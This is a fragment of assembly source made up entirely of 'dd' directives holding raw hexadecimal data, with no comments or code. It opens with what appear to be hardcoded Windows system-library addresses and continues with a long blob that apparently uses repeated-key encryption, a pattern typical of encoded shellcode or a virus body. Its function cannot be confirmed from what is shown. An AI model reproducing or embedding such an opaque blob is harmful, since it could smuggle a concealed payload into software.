		dd 77E7AC37h, 77E75CEBh, 77E73C49h, 77F7E21Fh, 77F7E300h
		dd 77E60000h, 2, 5 dup(0)
		dd 77E7A5FDh, 2Ch dup(0)
		dd 2, 0BB118AC7h, 1E944226h, 0AA4F0435h, 50103E9Eh, 0CA03FE1Eh
		dd 2108DBA1h, 471560B8h, 3A8E581h, 3213CF50h, 61457F56h
		dd 23ADA69Ah, 0BB15668Ch, 9B3123C1h, 6E88EB24h,	0CD13CDA5h
		dd 0B14D3D5Bh, 9B0157F9h, 25616624h, 23AD3541h,	0BB15668Ch
		dd 9B3123C1h, 7988EB24h, 0CD13CDA0h, 3D4D3D5Bh,	321572CBh
		dd 35FC0622h, 70156611h, 0B8D23B5Bh, 0B61AFE0Eh, 32156622h
		dd 32078F70h, 6CBC6688h, 45F1A5C1h, 8157F48Ah, 1C8452C0h
		dd 0DDD898A7h, 321EE34Bh, 34FC6622h, 3A156611h,	99F04546h
		dd 69436CBh, 93CED06h, 8F403E54h, 772E4F03h, 0CB488E75h
		dd 4116DBA1h, 3D1560A1h, 3215260Ch, 339C6944h, 0CE156622h
		dd 699EE39Ch, 38FC6038h, 55156644h, 82823E3Bh, 0E1B1BE86h
		dd 0DBC59937h, 32156657h, 0C53DD2FBh, 1B1A254Ch, 17C09577h
		dd 0C4670657h, 0BFC9DF77h, 824EDD94h, 0E2EA938Eh, 8390A0BCh
		dd 6413CF34h, 20FC9F71h, 0A9156688h, 49BCB699h,	18531BAEh
		dd 7C142AE9h, 0D06B8EA3h, 607D072Dh, 0DB89CE9Ah, 3215661Ah
		dd 20D73B0Ch, 0C20EA671h, 0CDC68050h, 9B05D3A4h, 0B798938Eh
		dd 34B915B8h, 3214E62Dh, 0CDEC6611h, 28966958h,	3D156644h
		dd 321572A0h, 321A8F11h, 0D83A6688h, 23741409h,	0F9FC8FA5h
		dd 0A883CC7Eh, 7B90EFD5h, 5213CF55h, 58369Ch, 321A8F6Eh
		dd 3C516688h, 948175DDh, 0C6F807D4h, 75B526h, 0B7D207E7h
		dd 34BC66A5h, 32156622h, 3214E11Eh, 3DE06688h, 321567C6h
		dd 0B7D39322h, 34BC70A0h, 32138FCDh, 9F936644h,	4AB4A659h
		dd 407C0F79h, 0BB1A0606h, 32156642h, 3215E82Dh,	0B9736611h
		dd 87EA0747h, 34BC6711h, 1490EBDAh, 0CA13CF2Dh,	0B91AB677h
		dd 32156643h, 3214E02Dh, 0CEE06611h, 3F90E301h,	0B91A60EDh
		dd 32156623h, 32048FEDh, 2B8B6688h, 0FB19FFD5h,	1935D5A1h
		dd 7EB8B7FBh, 0F450B12Ch, 9B03D7C1h, 0BE1A2524h, 3215661Ah
		dd 329569E8h, 54156644h, 5A74AEA9h, 0AE720D4Fh,	32078FE8h
		dd 0B5EA6644h, 0C1C1BB95h, 0F0CA2009h, 0DEDF2E84h, 0C3D03FDh
		dd 32156FCBh, 0D3447E11h, 34733B88h, 0CD74DF22h, 9B143397h
		dd 321B8F17h, 22266688h, 0E9C2AC51h, 10F51C65h,	0E4D46CE4h
		dd 0E33E305h, 0BC1A60EDh, 32156628h, 0B34A3471h, 84515760h
		dd 0E2EA074Eh, 321574CBh, 0D61D4111h, 0C1CE5512h, 56483835h
		dd 588FE38Dh, 0BBDD7AAAh, 82678D0Dh, 321E8F42h,	3C716622h
		dd 0F4CFDEE8h, 0D81CC9B0h, 32018FC3h, 63826622h, 0BBF67B97h
		dd 0C447C358h, 0DFCED331h, 0D1149DB4h, 0B7D3E4DCh, 34BC7039h
		dd 321C8F10h, 37446622h, 0D09C938Ah, 5AC13232h,	0DC770E6Dh
		dd 2A9669DEh, 0DB156611h, 3215669Bh, 2D14B91Fh,	0BFF45243h
		dd 4DEDB51Eh, 4B6004B3h, 0CD5284E0h, 9B143397h,	3B916917h
		dd 52156688h, 3215E64Bh, 53E96622h, 0E33E39Ch, 38FC6021h
		dd 3156644h, 6F219BF2h,	3142E6E3h, 52C59978h, 0BBE007BCh
		dd 826789A7h, 339E6917h, 0C7156688h, 24A4E382h,	0DB50608Bh
		dd 3215661Bh, 7EE9BF0Eh, 0B0C018A1h, 0F07DDE51h, 0CACF0629h
		dd 3340D377h, 0DB7560EDh, 3215662Bh, 9A972EC5h,	2A81BB7Fh
		dd 0ECA26975h, 1490EB43h, 3D13CF2Dh, 3215720Bh,	321A8F44h
		dd 2C626622h, 275B857Dh, 0EA2CAE90h, 13C3CD22h,	0E2EA9346h
		dd 321569F8h, 2FD3B88h,	79781F08h, 8BF708D0h, 0F2DCAD52h
		dd 3212EF87h, 83756644h, 0F49E0002h, 0C190EF70h, 0CA13D6FAh
		dd 0D8F2E724h, 544A1870h, 5355D1A9h, 20B8DB0Bh,	3D1560EDh
		dd 321586A7h, 0B7D39A11h, 34BC7039h, 0B47D9E01h, 3DEF465Ch
		dd 32156E93h, 4AA40688h, 6278DE22h, 67A09943h, 0DB13CF10h
		dd 32156682h, 17BF7A79h, 96008410h, 0B798E06Fh,	34BC5AAEh
		dd 321569ADh, 9F760922h, 7F112E67h, 544C44D4h, 0F60F429Eh
		dd 6075B6DDh, 3215ED1Eh, 0B34B6688h, 0DB89BA6h,	0B79C076Dh
		dd 34A514E6h, 3204E687h, 0B21A6644h, 32156629h,	321560F8h
		dd 0B778DD88h, 0F4C48794h, 9B03D7A7h, 54752A17h, 0D7C58709h
		dd 0DB7498CFh, 32156627h, 181A881Ah, 0E2D60EEFh, 0B31A8662h
		dd 3215662Bh, 73DEDC71h, 53755A8Eh, 87EA9A25h, 34BC6777h
		dd 1490EBEDh, 0CB13CFB4h, 0BBEDB6BBh, 82679DA7h, 21FC9F17h
		dd 3D156689h, 321572C1h, 321A8F22h, 21D66611h, 46EC346Eh
		dd 514B39D4h, 3A1964F0h, 8390A042h, 6013CF9Eh, 3212EB4Bh
		dd 0BC1A6622h, 32156610h, 0D6180E70h, 34FCDA0Eh, 90156622h
		dd 82348C0Ah, 6BA099B9h, 3D13CF6Dh, 32156EA2h, 309F6911h
		dd 52156688h, 1490EB25h, 3D13CF1Eh, 32156B99h, 321D8F88h
		dd 2A8F6644h, 0E755B765h, 0E2EA59E5h, 32156861h, 657DA544h
		dd 0F54E7079h, 0AA821639h, 0DBD35884h, 32156655h, 9923C076h
		dd 5EF989D7h, 0B5F3C8A1h, 0A06F2F20h, 0C590EF2Eh, 3D13D663h
		dd 3215760Eh, 321E8F44h, 9C986622h, 89247893h, 859299D5h
		dd 8390A099h, 6013CF34h, 785D0EE9h, 0DB75C0C4h,	32156643h
		dd 0E8A711BCh, 602E0DD9h, 534A3EDFh, 1B4CD3BBh,	3DFC608Bh
		dd 0C0156611h, 224F755Fh, 0C16C3CD6h, 8A9FCB0Dh, 0B798FAC4h
		dd 34BC5AAEh, 3DC599BCh, 321567A8h, 0B79C9E11h,	34A51473h
		dd 9EE5E624h, 35976943h, 3D156611h, 3215670Ah, 0B7D39344h
		dd 34BC7093h, 2E9C6943h, 52156688h, 3215E14Bh, 3DFC6622h
		dd 2A156611h, 0A4D4AC2Fh, 0C4F632C3h, 852FFBA6h, 5A740B87h
		dd 0CF57D262h, 320CE54Bh, 3D756622h, 32156697h,	321E8E88h
		dd 974F6644h, 0E24EAF76h, 27730C76h, 0CD7438C8h, 9B1433F1h
		dd 8D1A0624h, 321F8EEAh, 185E6688h, 5EBD070Fh, 0F30924E7h
		dd 3DCCE777h, 0BF743D2Ah, 9B2940C1h, 32198F24h,	347A6611h
		dd 0D843B565h, 5916E61Ah, 0E2EA83D6h, 3234E51Eh, 3D756688h
		dd 321566C8h, 32018F22h, 0E2076611h, 1A25225Ch,	0DD303F87h
		dd 0A27B36B7h, 0FFA21198h, 0BB74F5A6h, 9B332BC1h, 32068F24h
		dd 73456611h, 3EB57A9Bh, 43286E62h, 649AD5C2h, 6EE92F9Fh
		dd 8390A0CBh, 4513CF52h, 32156ACBh, 0C6462C11h,	0A2CA0205h
		dd 36EC2494h, 321F8F0Eh, 0E2246611h, 0C0485275h, 0C21631C4h
		dd 0A5BDC54Ah, 35FD06E2h, 0B9156688h, 9621F875h, 6DE0F81Dh
		dd 321561F9h, 0CB608488h, 0B1EF4591h, 32156CCBh, 14457B11h
		dd 0DF2C41FCh, 6D64E6B8h, 13A09943h, 5213CF36h,	60E7E7EEh
		dd 0F9F5E68Ch, 1490EB43h, 5213CF2Dh, 0B9CFEDEEh, 0E2EA0792h
		dd 3211E62Dh, 83756611h, 0B79C07AEh, 34BC63E9h,	8390A0DAh
		dd 6013CF07h, 0C2AE37E8h, 696312F2h, 96C9ADA3h,	5A744D10h
		dd 0B8C8579Fh, 3219ED4Bh, 0BA1A6622h, 32156617h, 3215E087h
		dd 87EA6644h, 34BC6777h, 3209E01Eh, 0DB756688h,	32156650h
		dd 4227159Eh, 2004F480h, 97C8E82Ah, 5A5DEC99h, 2CF1DA80h
		dd 547507E9h, 4AA7A809h, 32018E24h, 0BC4E6622h,	0C894F8E5h
		dd 0CB26C6C1h, 735BB6Fh, 0E4B39274h, 8B4D7D27h,	7BCF9162h
		dd 0B7980725h, 34BC5A04h, 2BD5E771h, 0B81259CDh, 0E2EA07B3h
		dd 321DE62Dh, 0B91A6611h, 3215668Ah, 0B79C0724h, 34BC6B4Bh
		dd 321A8FE4h, 0F50D6688h, 0C024F15Bh, 922DE7CEh, 0C498F859h
		dd 8390A0B6h, 6413CF52h, 5F2C0EDEh, 0CDE0B20Eh,	9B05D33Dh
		dd 3A946942h, 3D156622h, 3215649Eh, 0BF740688h,	9E669AC1h
		dd 0E2EA9F24h, 321563F8h, 0CB2EAA88h, 0B79CE3A7h, 34BC6033h
		dd 0C59E0071h
		dd 32156C61h, 1430C044h, 17FC7DD5h, 538581AEh, 24A4E34Eh
		dd 0CB5260EDh, 0EE051C4Ah, 32058F90h, 2E476688h, 0CC94DCF5h
		dd 80FC280Dh, 334738BDh, 87EA749Ch, 34BC6711h, 321DE72Dh
		dd 0B71A6611h, 3215668Ah, 0B7980724h, 34BC5A04h, 32188E71h
		dd 19736688h, 1C2144h, 6BE308FCh, 6C290F83h, 684C30DEh
		dd 52C59925h, 3210E72Dh, 82AA6611h, 54237FF8h, 0D4B3BCC5h
		dd 6390EF43h, 5213CF0Eh, 0B26D8F09h, 0F47464DFh, 9B03D7A7h
		dd 54752117h, 0DB13F131h, 32156654h, 4A7BEE2Ah,	735CDB8Fh
		dd 69CE3D42h, 307E87AEh, 32048F43h, 4B376611h, 5C8EEE63h
		dd 52CCF4ADh, 0E48C8D9Ah, 5A7A9C66h, 0B81AD36Ah, 321569ADh
		dd 0B79F1E22h, 0DD3E8566h, 5D95FCF3h, 85DBA8Dh,	3340D3DDh
		dd 38FC60B8h, 0B1156688h, 403AF42Bh, 0D2BEEEB9h, 1490EB7Ch
		dd 0DB13CFB4h, 3215664Ch, 696A3ED3h, 5D41156Fh,	0BB1AB677h
		dd 32156645h, 2990EFDEh, 0DB13D662h, 3215669Ch,	46BB276h
		dd 0E12804D1h, 8D31A337h, 52934CA4h, 0D5A67EBh,	389C6942h
		dd 0DB156611h, 3215668Dh, 5C57C9CFh, 32C0D850h,	0F57439DEh
		dd 9B1D2F0Dh, 32151E42h, 321D8F22h, 39F06611h, 0B7A44705h
		dd 8F969628h, 34BC693Fh, 23916911h, 0CA156691h,	24A4E382h
		dd 0CE59608Bh, 0E8098F79h, 0DB750651h, 3215664Fh, 972E18Dh
		dd 61CA7BDBh, 3D206133h, 5474A4FBh, 0CD74B9A9h,	9B1433A4h
		dd 3BAE068Eh, 0B95C536Dh, 0B71A07DBh, 32156616h, 3214EF87h
		dd 0BFED6644h, 9B2940A7h, 0E2EA9A17h, 320CE387h, 26FC6644h
		dd 48156622h, 2E2D2B39h, 0AB8C021Fh, 937318C0h,	70282D04h
		dd 0BBA6FC75h, 8266610Dh, 0B7D39E42h, 34BC7093h, 0FC7D9A5Dh
		dd 52C81256h, 321569ADh, 0D4AAF822h, 613BEB57h,	0F8721650h
		dd 2F2208C5h, 87EA07D7h, 34BC6744h, 33976974h, 0CE156644h
		dd 0E33E3AFh, 0B51A60B8h, 32156686h, 32156FADh,	7927A222h
		dd 2C8826D8h, 0E2EAFE32h, 0E7AA0624h, 8907DFC3h, 4FADAE57h
		dd 86D2E7E9h, 533CF8F4h, 411EE3ABh, 3CFC60A1h, 81156688h
		dd 6FEC4BF2h, 26AC3B87h, 83B045Bh, 8390A0D2h, 7E13CF52h
		dd 0D1E6E742h, 62401816h, 534B9D03h, 0B397592Ch, 0BC1A0695h
		dd 32156611h, 0CA749603h, 3340D3BBh, 0BFEC608Bh, 9B294094h
		dd 0B375068Eh, 0E1CA085h, 32946913h, 53156611h,	6CEEEDDFh
		dd 0DBC59925h, 3215662Bh, 17A051E7h, 39658ABBh,	3D90EFEAh
		dd 0DB13D651h, 32156602h, 72F678ACh, 0CD42FAF3h, 0D7818EF3h
		dd 0ABD68E27h, 0F43E7E36h, 9B03D7C1h, 62752A24h, 4EF6DFABh
		dd 3D753CCCh, 321566C9h, 5A740722h, 813A2609h, 32156861h
		dd 277F7244h, 2112BBEh,	66415C79h, 0CD012CD6h, 9B1433F1h
		dd 851A0624h, 6605D9E3h, 3D740FABh, 32156AC7h, 34926922h
		dd 3D156611h, 32156600h, 1490EB44h, 0DB13CF1Eh,	32156614h
		dd 0B0A1CD44h, 52C59998h, 80ECED44h, 0B79C0799h, 34A51587h
		dd 321577ADh, 28F6D22h,	4DA5A9BFh, 750DFC2Bh, 0C6C02695h
		dd 0B7D3C81Dh, 34BC70A0h, 267D93CEh, 3DAFB842h,	321572A5h
		dd 321A8F11h, 463F6688h, 31EEEE8Fh, 1876D16h, 609D3AC2h
		dd 0B3730693h, 0B340E793h, 0EE5C1EEBh, 87EA075Ah, 34BC67DDh
		dd 1490EBB8h, 3D13CF1Eh, 32156B94h, 0B3730688h,	0B36435ABh
		dd 8EDBD8D4h, 0E2EA074Ah, 32156061h, 0E7922B44h, 0BB1C4F03h
		dd 82667194h, 3A95698Eh, 3D156644h, 321564ADh, 0F4740611h
		dd 9B03D70Dh, 20FC2142h, 0D156622h, 0E429530h, 18D81D10h
		dd 9581BF9h, 8575983Ah,	226F0EADh, 0DBE0E754h, 32156648h
		dd 0BECA56F3h, 840293F0h, 0EA80C1F1h, 3340D3BBh, 0B875608Bh
		dd 0ECAA69C4h, 1490EBE9h, 0DB13CF78h, 32156628h, 7F4FA850h
		dd 116761EAh, 0E2EAC52Dh, 0F0949342h, 6459879Eh, 2D90EFE9h
		dd 3D13D637h, 32156FA5h, 8D730611h, 851A32DEh, 0B7D3079Dh
		dd 34BC7093h, 9E7D9F56h, 0CBFAE106h, 3340D3BBh,	3DFC608Bh
		dd 10156611h, 94FF683Fh, 7FFC75B8h, 5FE55A4Dh, 0B798244Dh
		dd 34BC5AAEh, 3219EC4Bh, 0BB1A6622h, 32156617h,	3215EB87h
		dd 0E2EA6644h, 6AAE9A42h, 53361D41h, 4136E301h,	0B71A60F4h
		dd 32156637h, 321E8F71h, 6CFF6688h, 0C67E65C4h,	2AF130C7h
		dd 68FDE670h, 8390A0E9h, 7513CF52h, 95C70EDEh, 35FCB28Bh
		dd 0F3156688h, 658A96FAh, 87EA522Ah, 34BC6744h,	1490EB71h
		dd 0DB13CF78h, 32156629h, 9B739034h, 17FAD3A9h,	0CD9873E1h
		dd 32078FF2h, 91136611h, 0FD7E6A5Bh, 3B32A273h,	4662E6F0h
		dd 74E79557h, 3208E287h, 0BE1A6644h, 32156635h,	321574F8h
		dd 0F659AB88h, 107A75DEh, 5018DB58h, 0B1B33D56h, 0BB4D646Eh
		dd 826641C1h, 321C8F24h, 0B4EC6611h, 0B86F07Dh,	0F470D745h
		dd 9B03D7A7h, 0B9752117h, 53E7ED40h, 0F32C622Ch, 0B11A0698h
		dd 32156613h, 0E394B503h, 7E66B36Ah, 67A09943h,	0DB13CF10h
		dd 3215668Dh, 268C6F08h, 1490EB48h, 5213CF2Dh, 3E3BDCEEh
		dd 52C3ED24h, 0CD740743h, 339169C1h, 0CE156688h, 413EE3CDh
		dd 0B61A6092h, 32156617h, 0B9C4ECE8h, 8F96078Ah, 34BC6E3Fh
		dd 0B3906911h, 0DB156688h, 32156642h, 39DB73Dh,	0B7D30DECh
		dd 34BC7039h, 0B9730603h, 8BAD00D8h, 557D0753h,	52F514A5h
		dd 321575ADh, 2F1AB122h, 0DDF926E3h, 0A4B63DFAh, 92DFC265h
		dd 995BE788h, 67A09970h, 3D13CF89h, 32157EC0h, 32068F22h
		dd 5A466611h, 683F7E8Fh, 6C886665h, 4905DFF3h, 0BD058B14h
		dd 1490EBE5h, 0CB13CF78h, 0B61AB6DDh, 32156610h, 0F9940671h
		dd 4EA62C12h, 0D9ECDD44h, 1D90EF70h, 0CB13D6FBh, 24A4E382h
		dd 5252608Bh, 8A2AD877h, 3D74B003h, 321567CCh, 837D9322h
		dd 529B4FA2h, 3213E987h, 0B81A6644h, 32156622h,	4DA554AAh
		dd 87EA07DAh, 34BC6711h, 1490EBDEh, 3D13CF2Dh, 32156E0Ch
		dd 30916944h, 52156622h, 52C59970h, 0CEE5E7EEh,	0CDA2692Fh
		dd 37FD0643h, 0A2156611h, 15B391C3h, 3215E44Bh,	0B24E6622h
		dd 0BB7490F9h, 8266550Dh, 0B7D39A42h, 34BC7093h, 957D9F52h
		dd 52D510C2h, 32906913h, 68156622h, 6DCAED46h, 359669E9h
		dd 3D156644h, 321567A2h, 87EA9A11h, 34BC67DDh, 20C5E724h
		dd 0B8004BD3h, 0B79807F7h, 34BC5AAEh, 321561ADh, 6D318322h
		dd 8719C393h, 0DA75B677h, 3215664Dh, 5EB69F59h,	7008F9E7h
		dd 99DDE68Ch, 3494691Ah, 3D156622h, 3215669Ch, 0B79C0788h
		dd 34A51573h, 8390A0DAh, 7E13CF07h, 5EFE0E71h, 0B31A9D22h
		dd 32156634h, 321577F8h, 3BD8AE88h, 36C8411Ch, 6D9EF6E2h
		dd 2059B5F2h, 87EA94A7h, 34BC4165h, 321568CBh, 45744611h
		dd 0C81B2197h, 46D01084h, 0CA9504BEh, 0E33E39Ch, 34FC6021h
		dd 0B4156644h, 6496B06Fh, 0CAC5994Bh, 41DEE301h, 0B51A60F4h
		dd 3215662Ah, 3217E61Eh, 53756688h, 24A4E382h, 0DB51608Bh
		dd 32156617h, 0B431A096h, 5AE04A0Eh, 8966E877h,	321B8E71h
		dd 5B666688h, 0A0313497h, 0AFB8C24h, 7A97CE16h,	32156861h
		dd 64E49F44h, 0EE127AAAh, 0FF12A5BFh, 6942A576h, 9EDCE722h
		dd 87EA074Fh, 34BC6744h, 3218EC87h, 3D756644h, 321566A2h
		dd 0FD940011h, 0BF743D8Ah, 9B2940C1h, 0E2EA9324h, 3214E81Eh
		dd 3DEC6688h, 32157EC3h, 20986922h, 0DB156611h,	32156685h
		dd 310D40D8h, 82CB9A21h, 0D1D8CC45h, 990EF71h, 5213D637h
		dd 0DDDE744h, 32138E24h
		dd 0A7726688h, 3BF32E5Ch, 534E0742h, 24A4E3D7h,	3D566021h
		dd 321577CCh, 32198F22h, 0DF976611h, 830D725Fh,	189E7B1Ah
		dd 0B71A9E29h, 32156606h, 32157461h, 0C2286744h, 59C1D326h
		dd 2E72F4C6h, 0D1E66B3Ch, 5A5AFDC3h, 8E9B08DEh,	349F6971h
		dd 0B3156688h, 0DB85EC9Bh, 0F89E0677h, 5374BC9Ah, 3340D377h
		dd 0B51A60EDh, 32156631h, 321568F8h, 0E3CDC88h,	872B0B2Eh
		dd 1E821274h, 0CBE65B53h, 0E33E305h, 0DA7560EDh, 32156632h
		dd 0AB36C468h, 8B4B93D6h, 1DA66693h, 1E7204CFh,	321E8F4Fh
		dd 0F8DF6688h, 17AD9CD2h, 7686B57Ah, 39FC07D0h,	68156688h
		dd 907F2D21h, 0F9087894h, 0E2EAA802h, 32018FE8h, 0E8326644h
		dd 7DF8AC89h, 0B6D683DAh, 4D205D80h, 0E48BE51Ah, 1DAA0CFCh
		dd 534596CCh, 412AE301h, 0B31A60F4h, 32156630h,	32156BF8h
		dd 0D1600A88h, 714C9FE5h, 91346909h, 0B7D35085h, 34BC7039h
		dd 22946917h, 0DB156622h, 3215661Ah, 0FFE27EA2h, 1801BFAAh
		dd 5A1D321Ch, 0F40558BBh, 3213E687h, 0C7756644h, 53DAED44h
		dd 3340D3EEh, 0BFE96021h, 9B2940C1h, 3C996924h,	52156611h
		dd 32156161h, 0E095E144h, 0E887F693h, 52C59970h, 3216E687h
		dd 0C3956644h, 53EDED16h, 3219E91Eh, 35FC6688h,	0EE156644h
		dd 671341D9h, 0B79C5618h, 34A515CBh, 8FA8E5BCh,	3213CF25h
		dd 3126E21Eh, 0B01A6688h, 3215664Dh, 0EBE0DD42h, 6A436793h
		dd 8390A0E9h, 7413CF52h, 3DAE0042h, 53FBEC26h, 0A4DB57E0h
		dd 0B51A06BEh, 32156622h, 321560F9h, 0E0C11088h, 600073F9h
		dd 0CD743878h, 9B1433A4h, 0B7989F8Eh, 34BC5A62h, 32156CCBh
		dd 0FE348811h, 43DB40A2h, 0CDC69C97h, 0B79C9AF2h, 34A5158Eh
		dd 8390A071h, 7413CF52h, 321576CBh, 0C627C911h,	7FA2916Ah
		dd 107909B9h, 16A7B7ABh, 8C30EE3h, 3DFC9A2Fh, 0DE156644h
		dd 7DDD21Bh, 2EF7057Fh,	0E4B67DE9h, 87EA554Dh, 34BC6777h
		dd 32078E71h, 62376688h, 0C1895511h, 5A8E7442h,	5EDE9EEEh
		dd 4FD60A76h, 3215E54Bh, 0DA4C6622h, 3215661Dh,	0C6CE30CAh
		dd 5E672051h, 64233D15h, 39369690h, 534B360Eh, 1490EBB8h
		dd 0CE13CF1Eh, 80D6E771h, 8C665FE8h, 770C7605h,	52C59943h
		dd 4C85DC77h, 0BB749C03h, 8266C9C1h, 321D8F24h,	69356611h
		dd 3A5CF4F1h, 0B7D39882h, 34BC7093h, 321E8F57h,	7F186688h
		dd 8FFC058Fh, 26A4C858h, 96150E93h, 5275F474h, 0D79594CFh
		dd 0F09E079Dh, 67A09970h, 0CB13CF89h, 0E33E3C9h, 0B375608Bh
		dd 4E343DC6h, 0E2EA0793h, 0FCAA6924h, 3215EB2Dh, 0BB746611h
		dd 8266D50Dh, 0B7D39342h, 34BC7093h, 321E8F57h,	0BFD76688h
		dd 0A61036B6h, 9774D862h, 339C6978h, 0CA156688h, 0E65A0C2Ch
		dd 359169D4h, 3D156611h, 32156704h, 87EA9344h, 34BC6777h
		dd 1490EBEDh, 3D13CFB4h, 321561CBh, 53750622h, 53DEED77h
		dd 34FCB677h, 12156644h, 4A21944Bh, 8590EFE5h, 3D13D6FBh
		dd 32156CC6h, 0B9730622h, 0E99400E0h, 0F4745902h, 9B03D7C1h
		dd 3FFC2024h, 0DC156611h, 5B5A3D16h, 79D91693h,	5E220171h
		dd 0FF458179h, 54ED061Ch, 537E26FAh, 3340D3DDh,	0CE7560B8h
		dd 0BF749C03h, 9B2940C1h, 32198F24h, 0FD4A6611h, 6C4E7953h
		dd 0FD074AC3h, 0E2EA7856h, 3214E91Eh, 0BBEC6688h, 8266C5C1h
		dd 0F59F0624h, 3213E31Eh, 0FB946688h, 313C89BDh, 321F8F43h
		dd 0FF5D6611h, 0F8B5CC01h, 438A1CB0h, 24A4E3E4h, 0DB5360B8h
		dd 3215668Fh, 6816C749h, 5A2C5542h, 8337122Ah, 37C9DEE8h
		dd 851A6068h, 87EA07E0h, 34BC6744h, 321C8EE8h, 0D76C6644h
		dd 0DD1D5EBBh, 8913D96Fh, 43F8321h, 3F9B691Eh, 0DB156622h
		dd 32156619h, 0E7D17B49h, 6C5ECF04h, 1490EB43h,	5213CF2Dh
		dd 3218EC87h, 35FD6644h, 61156622h, 330BF45Dh, 0B94BDCA0h
		dd 0E2EA0793h, 9590EFD7h, 0DB13D662h, 32156686h, 3ABFC746h
		dd 6EC18E33h, 0AC5E0F2Ah, 0B7D3AB26h, 34BC70F5h, 3A9C6964h
		dd 52156611h, 3215E787h, 0CE746644h, 4BFF8B4Ah,	32058FCEh
		dd 74956688h, 29708C33h, 7DAB8005h, 6EA2E603h, 87EA7144h
		dd 34BC6711h, 3214E12Dh, 0BFED6611h, 9B29400Dh,	0DB759E42h
		dd 32156625h, 7D52F090h, 53C5912Dh, 0BBECB6BBh,	8266CDA7h
		dd 209B6917h, 0DB156688h, 32156649h, 713248FBh,	0AFDC5888h
		dd 0BC3BA8A5h, 2FA8E555h, 3213CF2Ah, 327BE31Eh,	0B31A6688h
		dd 32156645h, 8390A0D7h, 6113CF07h, 217CD9E8h, 0CA746F6Fh
		dd 8CF5384Ah, 851A06DFh, 0C0A26947h, 67A09925h,	5213CF23h
		dd 527517A4h, 0C19E00E9h, 0B7980725h, 34BC5A04h, 40DD971h
		dd 0CA743893h, 26FCB6BBh, 6D156622h, 0F06BAE46h, 6F6FA43Dh
		dd 8255606Ch, 0A8F67E24h, 0BBDFF7C9h, 8266210Dh, 32138F42h
		dd 0B5E66622h, 0BED1E8FAh, 24A4E34Eh, 3D5260EDh, 321567A2h
		dd 0B57D9311h, 3DD2D7D6h, 32156EC4h, 30926922h,	52156611h
		dd 67A099E9h, 0CB13CF45h, 0E33E3AFh, 0B21A60B8h, 32156682h
		dd 321563ADh, 9E22022h,	0E2EA75ABh, 321DEA87h, 0BB1A6644h
		dd 32156620h, 0B79C0771h, 34A515C3h, 0C4940024h, 0F1949CF7h
		dd 960D21Dh, 2FA8E5E9h,	3213CF4Ch, 3268E32Dh, 0B2756611h
		dd 0F474837Eh, 9B03D7C1h, 22FC2124h, 7B156611h,	72F9458Fh
		dd 0F702CCE2h, 0CDC4CA79h, 5AC6C0FAh, 0D477188Dh, 32188F24h
		dd 66786622h, 56C524A0h, 7A1BA378h, 0B36AA848h,	0EAF74F1h
		dd 87EA0719h, 34BC67DDh, 1490EBBCh, 5213CF1Eh, 2374DD77h
		dd 32157561h, 0DBAD1844h, 37636656h, 1ED8DBABh,	0AC467298h
		dd 2DBD9C62h, 52C59943h, 54B3B691h, 5320EE31h, 415AE3CDh
		dd 0F4E06092h, 9B03D794h, 0B375258Eh, 5AF881B6h, 5314D02Bh
		dd 481C9079h, 321E8F1Ah, 0D9066644h, 0F44F77C8h, 0CB4A07A9h
		dd 67A09937h, 0DB13CF45h, 32156624h, 206ABFCAh,	6475B258h
		dd 9A12A4FAh, 0B9733C4Dh, 0B79807EFh, 34BC5AAEh, 0DCF2DE24h
		dd 0D59F1A02h, 0C7C59970h, 32157761h, 881D9B44h, 0CD6B100h
		dd 181D6BA2h, 0D4CB5C62h, 0B79C6C33h, 34A51571h, 8390A0E8h
		dd 7113CF9Eh, 339369B8h, 0CE156622h, 13824679h,	87EA9A74h
		dd 34BC6711h, 32018FDEh, 4C526611h, 0B822734Fh,	4A59671Eh
		dd 0DE9ACFFEh, 6462341Dh, 0B7984A4Eh, 34BC5A62h, 321568CBh
		dd 2DC1FF11h, 217CD552h, 6A237320h, 0CA18A868h,	22FCB6EEh
		dd 6B156688h, 9757E2E9h, 618108EEh, 8003760Fh, 529E4FABh
		dd 54CED14Bh, 0BB74B7A9h, 82663194h, 321F8F8Eh,	3B2A6644h
		dd 6BD39BF8h, 3A3A8E53h, 3A08DB0Bh, 3D1560EDh, 321429A7h
		dd 32058F11h, 7AD26688h, 0F72486FBh, 5A6575D7h,	193FCD6Bh
		dd 0B7D315BCh, 34BC70F5h, 3E9A6961h, 0DB156611h, 3215668Fh
		dd 0DC396577h, 5A35E0C8h, 0B915CE12h, 65469EE8h, 0CD74391Fh
		dd 9B143397h, 0B21A0617h, 3215668Ah, 22FCA0CFh,	92156622h
		dd 363BC214h, 6A9D5453h, 695F3918h, 53870C79h, 0E33E39Ch
		dd 0CE756021h, 62C3E722h, 3FFC0753h, 2B156611h,	4A6A5943h
		dd 0BDAE7D5Dh, 9B34334Ch, 0B71AB6EEh, 32156682h, 3D4F3124h
		dd 321566A1h, 0B79C0711h, 34A515D7h, 32188F24h,	51076622h
		dd 338C5A77h, 94594199h, 0B96F69FAh, 0B7D307FAh, 34BC70A0h
		dd 0E77D9ECBh, 0CEF03D72h, 88B9D942h, 0B973393Fh, 87EA0759h
		dd 34BC6711h, 3210E82Dh, 52756611h, 52749FE9h, 0DDD3FFFCh
		dd 32128F06h, 96C6611h
		dd 4557881Ch, 0B7980782h, 34BC5A04h, 32048F71h,	0A4556688h
		dd 35FD8C74h, 118A3ABAh, 4603755h, 530CAE70h, 2302DD24h
		dd 37FC53CCh, 8A156611h, 2E8DA103h, 52C59925h, 8DCA1398h
		dd 0BE1A0662h, 32156688h, 0BB7407BDh, 82663DA7h, 22926917h
		dd 0DB156688h, 3215664Fh, 895A3B69h, 4BA42B52h,	52F06810h
		dd 541586C4h, 53ADBE99h, 24A4E3D7h, 0DB566021h,	3215664Ah
		dd 3D5E6E96h, 0A7B8B650h, 2D4C4B9Eh, 0D37DCA8Dh, 0DBFFCC10h
		dd 3215661Dh, 7DD6D0D9h, 1CC84785h, 44334441h, 3340D3EEh
		dd 0B01A6021h, 32156641h, 0C772D142h, 1490EB70h, 5213CFB4h
		dd 3AFEE724h, 0B970D0ADh, 887307C7h, 0CD7495B9h, 3DE00694h
		dd 0BB74A89Dh, 82660594h, 5445068Eh, 534AB7CFh,	24A4E3E4h
		dd 3D5660B8h, 32156A0Eh, 34936944h, 3D156622h, 32156691h
		dd 9E220E88h, 52ECE2B5h, 0B2EBD12Dh, 0CD7445D6h, 9B14333Dh
		dd 21FC0642h, 89156622h, 2E6561C1h, 0BA6E53E7h,	3A0C11CFh
		dd 2174C294h, 53E0D22Dh, 0E33E305h, 0CDE060EDh,	0BC1A06F2h
